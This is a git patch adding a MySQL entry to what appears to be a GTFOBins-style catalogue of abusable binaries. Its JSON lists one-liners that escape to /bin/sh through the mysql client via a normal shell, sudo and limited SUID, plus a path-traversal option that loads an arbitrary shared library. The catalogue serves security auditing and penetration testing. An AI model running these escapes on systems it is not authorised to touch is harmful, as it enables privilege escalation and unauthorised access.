From 84670ac2ce20111867d6da6811b99294fd1f830f Mon Sep 17 00:00:00 2001 From: t0thkr1s Date: Fri, 10 Jan 2020 11:42:43 +0100 Subject: [PATCH] add data for mysql --- data/mysql.json | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100644 data/mysql.json diff --git a/data/mysql.json b/data/mysql.json new file mode 100644 index 0000000..76d8e63 --- /dev/null +++ b/data/mysql.json @@ -0,0 +1,26 @@ +{ + "description": "A valid MySQL server must be available.", + "functions": { + "shell": [ + { + "code": "mysql -e '\\! /bin/sh'" + } + ], + "sudo": [ + { + "code": "sudo mysql -e '\\! /bin/sh'" + } + ], + "limited-suid": [ + { + "code": "./mysql -e '\\! /bin/sh'" + } + ], + "library-load": [ + { + "description": "A MySQL server must accept connections in order for this to work. The following loads the '/path/to/lib.so' shared object.", + "code": "mysql --default-auth ../../../../../path/to/lib" + } + ] + } +} \ No newline at end of file